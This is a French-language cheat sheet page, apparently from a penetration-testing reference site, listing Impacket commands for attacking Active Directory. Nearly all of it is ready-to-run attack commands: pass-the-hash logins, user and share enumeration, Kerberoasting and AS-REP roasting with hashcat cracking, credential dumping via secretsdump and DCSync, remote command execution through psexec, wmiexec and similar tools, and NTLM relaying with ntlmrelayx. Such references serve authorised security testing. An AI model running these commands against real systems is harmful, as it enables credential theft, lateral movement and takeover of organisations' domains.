AD Outil · Active Directory

Impacket

Boîte à outils Python pour SMB, Kerberos, LDAP et l'exploitation Active Directory.

Avancé / 1 min de lecture / maj 08 nov 2026 / 5 tags
raw domaine signaler
Index des sheets

#Authentification

bash
# Mot de passe
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'

# Hash NTLM (pass-the-hash)
impacket-smbclient -hashes :NTHASH 'DOMAIN/user@10.10.10.10'

# Kerberos (ccache)
export KRB5CCNAME=user.ccache
impacket-smbclient -k -no-pass 'DOMAIN/user@dc01.domain.local'

#Énumération

bash
# Utilisateurs et groupes du domaine
impacket-GetADUsers -all 'DOMAIN/user:Password@dc01.domain.local'

# SID / utilisateurs locaux via SMB
impacket-lookupsid 'DOMAIN/user:Password@10.10.10.10'

# Partages
impacket-smbclient 'DOMAIN/user:Password@10.10.10.10'
# puis : shares, use C$, ls

# Requête LDAP rapide (client OpenLDAP)
ldapsearch -x -H ldap://dc01.domain.local -D 'user@domain.local' -w 'Password' \
  -b 'DC=domain,DC=local' '(objectClass=user)'

#Kerberoasting / AS-REP

bash
# Comptes avec SPN → hash Kerberos (crackable hors ligne)
impacket-GetUserSPNs 'DOMAIN/user:Password@dc01.domain.local' -request -outputfile kerberoast.txt

# Comptes sans pré-authentification
impacket-GetNPUsers 'DOMAIN/' -usersfile users.txt -format hashcat \
  -dc-ip 10.10.10.10 -no-pass -outputfile asrep.txt

# Crack
hashcat -m 13100 kerberoast.txt rockyou.txt      # TGS-REP
hashcat -m 18200 asrep.txt rockyou.txt           # AS-REP

#Dump de secrets

bash
# SAM + LSA + cached creds sur une machine
impacket-secretsdump 'DOMAIN/user:Password@10.10.10.10'

# DCSync (droits de réplication nécessaires)
impacket-secretsdump 'DOMAIN/user:Password@dc01.domain.local' -just-dc

# NTDS.dit hors ligne
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

# Depuis un hash local admin
impacket-secretsdump -hashes :NTHASH 'Administrator@10.10.10.10'

#Exécution à distance

bash
# SMB (service créé, assez bruyant)
impacket-psexec 'DOMAIN/user:Password@10.10.10.10'

# WMI (plus discret, pas de service)
impacket-wmiexec 'DOMAIN/user:Password@10.10.10.10'

# SMBexec, atexec, dcomexec
impacket-smbexec 'DOMAIN/user:Password@10.10.10.10'
impacket-atexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'
impacket-dcomexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'

#Relais NTLM

bash
# Écoute SMB et relaie vers une cible sans signature
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relais vers LDAP avec création d'un ordinateur (ADCS)
impacket-ntlmrelayx -t ldap://dc01 --add-computer

# Relais vers LDAPS
impacket-ntlmrelayx -t ldaps://dc01 -smb2support --delegate-access
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?